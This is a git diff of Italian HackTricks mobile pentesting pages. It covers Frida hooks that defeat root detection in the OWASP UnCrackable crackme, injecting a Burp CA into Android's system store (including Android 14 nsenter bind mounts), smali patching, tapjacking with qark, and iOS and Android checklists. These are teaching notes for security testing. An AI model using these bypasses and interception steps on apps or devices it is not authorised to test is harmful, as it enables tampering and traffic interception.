**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
---
**Questo è un riassunto del post**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
## Solution 1
## Soluzione 1
Basato su [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
**Hook the \_exit()**\_ function e **decrypt function** in modo che stampi la flag nella console frida quando premi verifica:
**Hook la funzione \_exit()**\_ e **la funzione di decrittazione** in modo che stampi il flag nella console di frida quando premi verifica:
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...")
@ -60,7 +55,7 @@ send("Hooks installed.")
Basato su [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
**Collegare rootchecks** e decrittare la funzione in modo che stampi il flag nella console frida quando premi verifica:
**Collegare rootchecks** e decrittare la funzione in modo che stampi il flag nella console di frida quando premi verifica:
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...")
@ -120,10 +115,4 @@ return false
send("Hooks installed.")
})
```
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Su una Macchina Virtuale
@ -12,7 +9,7 @@ Prima di tutto, devi scaricare il certificato Der da Burp. Puoi farlo in _**Prox
![](<../../images/image (367).png>)
**Esporta il certificato in formato Der** e facciamo **trasformarlo** in una forma che **Android** sarà in grado di **comprendere.** Nota che **per configurare il certificato burp sulla macchina Android in AVD** devi **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\
**Esporta il certificato in formato Der** e **trasformiamolo** in una forma che **Android** sarà in grado di **comprendere.** Nota che **per configurare il certificato burp sulla macchina Android in AVD** devi **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\
Ad esempio, puoi eseguirlo così:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
@ -32,7 +29,7 @@ Una volta che la **macchina ha terminato il riavvio**, il certificato burp sarà
## Utilizzando Magisc
Se hai **rootato il tuo dispositivo con Magisc** (forse un emulatore), e non puoi **seguire** i **passi** precedenti per installare il certificato Burp perché il **filesystem è di sola lettura** e non puoi rimontarlo in scrittura, c'è un altro modo.
Se hai **rootato il tuo dispositivo con Magisc** (forse un emulatore), e **non puoi seguire** i **passi** precedenti per installare il certificato Burp perché il **filesystem è in sola lettura** e non puoi rimontarlo in scrittura, c'è un altro modo.
Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi:
@ -48,13 +45,13 @@ Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- Dopo il riavvio, vai su `Credenziali attendibili` -> `SYSTEM` e controlla che il certificato Postswigger sia presente
- Dopo il riavvio, vai su `Credenziali attendibili` -> `SISTEMA` e controlla che il certificato Postswigger sia presente
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
## Post Android 14
Nell'ultima versione di Android 14, è stato osservato un cambiamento significativo nella gestione dei certificati dell'Autorità di Certificazione (CA) fidati di sistema. In precedenza, questi certificati erano ospitati in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che consentiva un'applicazione immediata in tutto il sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è di natura immutabile.
Nell'ultima versione di Android 14, è stato osservato un cambiamento significativo nella gestione dei certificati dell'Autorità di Certificazione (CA) fidati di sistema. In precedenza, questi certificati erano ospitati in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che consentiva un'applicazione immediata in tutto il sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è immutabile per natura.
I tentativi di rimontare il **percorso APEX cacerts** come scrivibile incontrano un fallimento, poiché il sistema non consente tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un file system temporaneo (tmpfs) non eludono l'immutabilità; le applicazioni continuano ad accedere ai dati del certificato originale indipendentemente dalle modifiche a livello di file system. Questa resilienza è dovuta al fatto che il mount **`/apex`** è configurato con propagazione PRIVATA, garantendo che eventuali modifiche all'interno della directory **`/apex`** non influenzino altri processi.
@ -125,7 +122,7 @@ echo "System certificate injected"
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Preparazione dei certificati CA**: Dopo aver impostato la directory scrivibile, i certificati CA che si intendono utilizzare devono essere copiati in questa directory. Questo potrebbe comportare la copia dei certificati predefiniti da `/apex/com.android.conscrypt/cacerts/`. È essenziale regolare le autorizzazioni e le etichette SELinux di questi certificati di conseguenza.
3. **Montaggio Bind per Zygote**: Utilizzando `nsenter`, si entra nello spazio dei nomi di montaggio di Zygote. Zygote, essendo il processo responsabile dell'avvio delle applicazioni Android, richiede questo passaggio per garantire che tutte le applicazioni avviate d'ora in poi utilizzino i certificati CA appena configurati. Il comando utilizzato è:
3. **Montaggio Bind per Zygote**: Utilizzando `nsenter`, si entra nello spazio dei nomi di montaggio di Zygote. Zygote, essendo il processo responsabile dell'avvio delle applicazioni Android, richiede questo passaggio per garantire che tutte le applicazioni avviate d'ora in poi utilizzino i nuovi certificati CA configurati. Il comando utilizzato è:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
@ -141,8 +138,5 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,27 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
**Per ulteriori informazioni controlla:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Le app Android possono utilizzare librerie native, tipicamente scritte in C o C++, per compiti critici in termini di prestazioni. Anche i creatori di malware utilizzano queste librerie, poiché sono più difficili da ingegnerizzare a ritroso rispetto al bytecode DEX. La sezione enfatizza le competenze di reverse engineering su misura per Android, piuttosto che insegnare linguaggi di assemblaggio. Sono fornite versioni ARM e x86 delle librerie per compatibilità.
Le app Android possono utilizzare librerie native, tipicamente scritte in C o C++, per compiti critici per le prestazioni. Anche i creatori di malware utilizzano queste librerie, poiché sono più difficili da ingegnerizzare a ritroso rispetto al bytecode DEX. La sezione enfatizza le competenze di reverse engineering specifiche per Android, piuttosto che insegnare linguaggi di assemblaggio. Sono fornite versioni ARM e x86 delle librerie per compatibilità.
### Punti Chiave:
- **Librerie Native nelle App Android:**
- Utilizzate per compiti intensivi in termini di prestazioni.
- Scritte in C o C++, rendendo il reverse engineering una sfida.
- Trovate in formato `.so` (shared object), simile ai binari Linux.
- Trovate in formato `.so` (oggetto condiviso), simile ai binari Linux.
- I creatori di malware preferiscono il codice nativo per rendere l'analisi più difficile.
- **Java Native Interface (JNI) & Android NDK:**
- JNI consente ai metodi Java di essere implementati in codice nativo.
- JNI consente di implementare metodi Java in codice nativo.
- NDK è un insieme di strumenti specifici per Android per scrivere codice nativo.
- JNI e NDK collegano il codice Java (o Kotlin) con le librerie native.
- JNI e NDK collegano il codice Java (o Kotlin) con librerie native.
- **Caricamento ed Esecuzione delle Librerie:**
- Le librerie vengono caricate in memoria utilizzando `System.loadLibrary` o `System.load`.
- JNI_OnLoad viene eseguito al caricamento della libreria.
@ -39,18 +33,12 @@ Le app Android possono utilizzare librerie native, tipicamente scritte in C o C+
- **Apprendimento dell'Assembly ARM:**
- Suggerito per una comprensione più profonda dell'architettura sottostante.
- [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) da Azeria Labs è raccomandato.
- [Nozioni di base sull'Assembly ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) da Azeria Labs è raccomandato.
- **Documentazione JNI & NDK:**
- [Specifiche JNI di Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Suggerimenti JNI di Android](https://developer.android.com/training/articles/perf-jni)
- [Introduzione all'NDK](https://developer.android.com/ndk/guides/)
- **Debugging delle Librerie Native:**
- [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
- [Debug delle Librerie Native Android Utilizzando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,12 @@
# Smali - Decompilazione/\[Modifica]/Compilazione
# Smali - Decompiling/\[Modifying]/Compiling
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni una certificazione:
{% embed url="https://academy.8ksec.io/" %}
A volte è interessante modificare il codice dell'applicazione per accedere a informazioni nascoste per te (forse password o flag ben offuscate). Quindi, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo.
A volte è interessante modificare il codice dell'applicazione per accedere a informazioni nascoste per te (forse password o flag ben offuscati). Quindi, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo.
**Riferimento agli Opcode:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
## Metodo Veloce
## Modo Veloce
Utilizzando **Visual Studio Code** e l'estensione [APKLab](https://github.com/APKLab/APKLab), puoi **decompilare automaticamente**, modificare, **ricompilare**, firmare e installare l'applicazione senza eseguire alcun comando.
@ -46,13 +40,13 @@ Oppure puoi [**controllare qui sotto alcune modifiche Smali spiegate**](smali-ch
## Ricompilare l'APK
Dopo aver modificato il codice puoi **ricompilare** il codice usando:
Dopo aver modificato il codice, puoi **ricompilare** il codice usando:
```bash
apktool b . #In the folder generated when you decompiled the application
```
Compilerà il nuovo APK all'interno della cartella _**dist**_.
Se **apktool** genera un **errore**, prova a [installare l'**ultima versione**](https://ibotpeaches.github.io/Apktool/install/)
Se **apktool** genera un **errore**, prova[ a installare l'**ultima versione**](https://ibotpeaches.github.io/Apktool/install/)
### **Firma il nuovo APK**
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,14 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Informazioni di base**
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app dell'obiettivo, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
In effetti, sta **accecato l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
In effetti, sta **ciecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
### Rilevamento
@ -56,14 +52,11 @@ Un progetto di esempio che implementa **FloatingWindowApp**, che può essere uti
Puoi utilizzare [**qark**](https://github.com/linkedin/qark) con i parametri `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` per creare un'applicazione malevola per testare possibili vulnerabilità di **Tapjacking**.\
La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento per sviluppatori Android](https://developer.android.com/reference/android/view/View#security):
La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento per gli sviluppatori Android](https://developer.android.com/reference/android/view/View#security):
> A volte è essenziale che un'applicazione possa verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, come concedere una richiesta di autorizzazione, effettuare un acquisto o cliccare su un annuncio. Sfortunatamente, un'applicazione malevola potrebbe cercare di ingannare l'utente nel compiere queste azioni, senza che se ne accorga, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio dei tocchi che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili.
>
> Per abilitare il filtraggio dei tocchi, chiama [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) oppure imposta l'attributo di layout android:filterTouchesWhenObscured su true. Quando abilitato, il framework scarterà i tocchi ricevuti ogni volta che la finestra della vista è oscurata da un'altra finestra visibile. Di conseguenza, la vista non riceverà tocchi ogni volta che un toast, un dialogo o un'altra finestra appare sopra la finestra della vista.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
### [Impara le basi di Android](android-app-pentesting/#2-android-application-fundamentals)
@ -29,7 +24,7 @@ Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padron
- [ ] Controlla l'uso di [offuscamento](android-checklist.md#some-obfuscation-deobfuscation-information), verifica se il mobile è stato rootato, se viene utilizzato un emulatore e controlli anti-manomissione. [Leggi qui per maggiori informazioni](android-app-pentesting/#other-checks).
- [ ] Le applicazioni sensibili (come le app bancarie) dovrebbero controllare se il mobile è rootato e agire di conseguenza.
- [ ] Cerca [stringhe interessanti](android-app-pentesting/#looking-for-interesting-info) (password, URL, API, crittografia, backdoor, token, UUID Bluetooth...).
- [ ] Attenzione speciale alle [API firebase](android-app-pentesting/#firebase).
- [ ] Attenzione speciale alle [API di firebase](android-app-pentesting/#firebase).
- [ ] [Leggi il manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] Controlla se l'applicazione è in modalità debug e prova a "sfruttarla"
- [ ] Controlla se l'APK consente backup
@ -62,10 +57,5 @@ Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padron
- [ ] [Leggi qui](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,5 @@
# iOS Pentesting Checklist
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}
### Preparazione
@ -24,86 +16,78 @@ Accedi oggi:
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) configurazione errata.
- [ ] [**Database Realm**](ios-pentesting/#realm-databases) possono memorizzare informazioni sensibili.
- [ ] [**Database Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) possono memorizzare informazioni sensibili.
- [ ] [**Cookie binari**](ios-pentesting/#cookies) possono memorizzare informazioni sensibili.
- [ ] [**Dati di cache**](ios-pentesting/#cache) possono memorizzare informazioni sensibili.
- [ ] [**Snapshot automatici**](ios-pentesting/#snapshots) possono salvare informazioni visive sensibili.
- [ ] [**Keychain**](ios-pentesting/#keychain) è solitamente utilizzato per memorizzare informazioni sensibili che possono essere lasciate quando si rivende il telefono.
- [ ] In sintesi, **controlla solo le informazioni sensibili salvate dall'applicazione nel filesystem**.
- [ ] [**Cookie binari**](ios-pentesting/#cookies) possono memorizzare informazioni sensibili
- [ ] [**Dati di cache**](ios-pentesting/#cache) possono memorizzare informazioni sensibili
- [ ] [**Snapshot automatici**](ios-pentesting/#snapshots) possono salvare informazioni visive sensibili
- [ ] [**Keychain**](ios-pentesting/#keychain) è solitamente utilizzato per memorizzare informazioni sensibili che possono rimanere quando si rivende il telefono.
- [ ] In sintesi, **controlla le informazioni sensibili salvate dall'applicazione nel filesystem**
### Tastiere
- [ ] L'applicazione [**consente di utilizzare tastiere personalizzate**](ios-pentesting/#custom-keyboards-keyboard-cache)?
- [ ] Controlla se le informazioni sensibili sono salvate nei [**file di cache delle tastiere**](ios-pentesting/#custom-keyboards-keyboard-cache).
- [ ] Controlla se le informazioni sensibili sono salvate nei [**file di cache delle tastiere**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **Log**
- [ ] Controlla se [**le informazioni sensibili vengono registrate**](ios-pentesting/#logs).
- [ ] Controlla se [**le informazioni sensibili vengono registrate**](ios-pentesting/#logs)
### Backup
- [ ] [**I backup**](ios-pentesting/#backups) possono essere utilizzati per **accedere alle informazioni sensibili** salvate nel filesystem (controlla il punto iniziale di questo checklist).
- [ ] Inoltre, [**i backup**](ios-pentesting/#backups) possono essere utilizzati per **modificare alcune configurazioni dell'applicazione**, quindi **ripristinare** il backup sul telefono, e poiché la **configurazione modificata** è **caricata**, alcune **funzionalità (di sicurezza)** potrebbero essere **bypassate**.
- [ ] [**I backup**](ios-pentesting/#backups) possono essere utilizzati per **accedere alle informazioni sensibili** salvate nel filesystem (controlla il punto iniziale di questo checklist)
- [ ] Inoltre, [**i backup**](ios-pentesting/#backups) possono essere utilizzati per **modificare alcune configurazioni dell'applicazione**, quindi **ripristinare** il backup sul telefono, e poiché la **configurazione modificata** è **caricata**, alcune (funzionalità di sicurezza) possono essere **bypassate**
### **Memoria delle Applicazioni**
- [ ] Controlla le informazioni sensibili all'interno della [**memoria dell'applicazione**](ios-pentesting/#testing-memory-for-sensitive-data).
- [ ] Controlla le informazioni sensibili all'interno della [**memoria dell'applicazione**](ios-pentesting/#testing-memory-for-sensitive-data)
### **Crittografia Rottura**
- [ ] Controlla se puoi trovare [**password utilizzate per la crittografia**](ios-pentesting/#broken-cryptography).
- [ ] Controlla l'uso di [**algoritmi deprecati/deboli**](ios-pentesting/#broken-cryptography) per inviare/memorizzare dati sensibili.
- [ ] [**Hook e monitora le funzioni di crittografia**](ios-pentesting/#broken-cryptography).
- [ ] Controlla se puoi trovare [**password utilizzate per la crittografia**](ios-pentesting/#broken-cryptography)
- [ ] Controlla l'uso di [**algoritmi deprecati/deboli**](ios-pentesting/#broken-cryptography) per inviare/memorizzare dati sensibili
- [ ] [**Hook e monitora le funzioni di crittografia**](ios-pentesting/#broken-cryptography)
### **Autenticazione Locale**
- [ ] Se viene utilizzata un'**autenticazione locale** nell'applicazione, dovresti controllare come funziona l'autenticazione.
- [ ] Se utilizza il [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), potrebbe essere facilmente bypassato.
- [ ] Se utilizza una [**funzione che può essere bypassata dinamicamente**](ios-pentesting/#local-authentication-using-keychain), potresti creare uno script frida personalizzato.
- [ ] Se utilizza il [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) potrebbe essere facilmente bypassato
- [ ] Se utilizza una [**funzione che può essere bypassata dinamicamente**](ios-pentesting/#local-authentication-using-keychain) potresti creare uno script frida personalizzato
### Esposizione di Funzionalità Sensibili Tramite IPC
- [**Gestori URI personalizzati / Deeplinks / Schemi personalizzati**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes).
- [ ] Controlla se l'applicazione **registra qualche protocollo/schema**.
- [ ] Controlla se l'applicazione **si registra per utilizzare** qualche protocollo/schema.
- [ ] Controlla se l'applicazione **si aspetta di ricevere qualche tipo di informazione sensibile** dallo schema personalizzato che può essere **intercettato** da un'altra applicazione che registra lo stesso schema.
- [ ] Controlla se l'applicazione **non controlla e sanitizza** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**.
- [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato.
- [**Link Universali**](ios-pentesting/#universal-links).
- [ ] Controlla se l'applicazione **registra qualche protocollo/schema universale**.
- [ ] Controlla il file `apple-app-site-association`.
- [ ] Controlla se l'applicazione **non controlla e sanitizza** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**.
- [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato.
- [**Condivisione UIActivity**](ios-pentesting/ios-uiactivity-sharing.md).
- [ ] Controlla se l'applicazione può ricevere UIActivities e se è possibile sfruttare qualche vulnerabilità con attività appositamente create.
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md).
- [ ] Controlla se l'applicazione **copia qualcosa negli appunti generali**.
- [ ] Controlla se l'applicazione **utilizza i dati dagli appunti generali per qualcosa**.
- [ ] Monitora gli appunti per vedere se qualche **dato sensibile viene copiato**.
- [**Estensioni App**](ios-pentesting/ios-app-extensions.md).
- [**Gestori URI personalizzati / Deeplinks / Schemi personalizzati**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] Controlla se l'applicazione **sta registrando un protocollo/schema**
- [ ] Controlla se l'applicazione **si sta registrando per utilizzare** un protocollo/schema
- [ ] Controlla se l'applicazione **si aspetta di ricevere qualsiasi tipo di informazione sensibile** dallo schema personalizzato che può essere **intercettato** da un'altra applicazione che registra lo stesso schema
- [ ] Controlla se l'applicazione **non sta controllando e sanitizzando** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**
- [ ] Controlla se l'applicazione **espone qualsiasi azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato
- [**Link Universali**](ios-pentesting/#universal-links)
- [ ] Controlla se l'applicazione **sta registrando un protocollo/schema universale**
- [ ] Controlla il file `apple-app-site-association`
- [ ] Controlla se l'applicazione **non sta controllando e sanitizzando** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**
- [ ] Controlla se l'applicazione **espone qualsiasi azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato
- [**Condivisione UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] Controlla se l'applicazione può ricevere UIActivities e se è possibile sfruttare qualche vulnerabilità con attività appositamente create
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] Controlla se l'applicazione **copia qualcosa negli appunti generali**
- [ ] Controlla se l'applicazione **utilizza i dati degli appunti generali per qualcosa**
- [ ] Monitora gli appunti per vedere se qualche **dati sensibili viene copiato**
- [**Estensioni App**](ios-pentesting/ios-app-extensions.md)
- [ ] L'applicazione **utilizza qualche estensione**?
- [**WebViews**](ios-pentesting/ios-webviews.md).
- [ ] Controlla che tipo di webviews vengono utilizzati.
- [ ] Controlla lo stato di **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**.
- [ ] Controlla se il webview può **accedere ai file locali** con il protocollo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`).
- [ ] Controlla se Javascript può accedere ai **metodi** **Native** (`JSContext`, `postMessage`).
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] Controlla quale tipo di webviews vengono utilizzati
- [ ] Controlla lo stato di **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
- [ ] Controlla se il webview può **accedere a file locali** con il protocollo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
- [ ] Controlla se Javascript può accedere a **metodi** **Native** (`JSContext`, `postMessage`)
### Comunicazione di Rete
- [ ] Esegui un [**MitM sulla comunicazione**](ios-pentesting/#network-communication) e cerca vulnerabilità web.
- [ ] Controlla se il [**nome host del certificato**](ios-pentesting/#hostname-check) viene controllato.
- [ ] Controlla/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning).
- [ ] Controlla se il [**nome host del certificato**](ios-pentesting/#hostname-check) viene controllato
- [ ] Controlla/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
### **Varie**
- [ ] Controlla per meccanismi di [**patching/aggiornamento automatico**](ios-pentesting/#hot-patching-enforced-updateing).
- [ ] Controlla per [**librerie di terze parti malevole**](ios-pentesting/#third-parties).
- [ ] Controlla per meccanismi di [**patching/aggiornamento automatico**](ios-pentesting/#hot-patching-enforced-updateing)
- [ ] Controlla per [**librerie di terze parti malevole**](ios-pentesting/#third-parties)
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,13 +1,5 @@
# iOS Pentesting
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}
## iOS Basics
@ -40,6 +32,11 @@ basic-ios-testing-operations.md
### Basic Static Analysis
Alcuni interessanti decompilatori iOS - IPA:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
È consigliato utilizzare lo strumento [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) per eseguire un'analisi statica automatica sul file IPA.
Identificazione delle **protezioni presenti nel binario**:
@ -70,7 +67,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe e
**Identificazione di Funzioni Sensibili/Insecure**
- **Algoritmi di Hash Deboli**
- **Algoritmi di Hashing Deboli**
```bash
# Sul dispositivo iOS
@ -174,7 +171,7 @@ La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compr
- **`PlugIns/`**: Questo può includere estensioni all'applicazione, note come file `.appex`, anche se non sono sempre presenti. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti della tua applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data rispecchia automaticamente il tuo schema in un contenitore CloudKit.
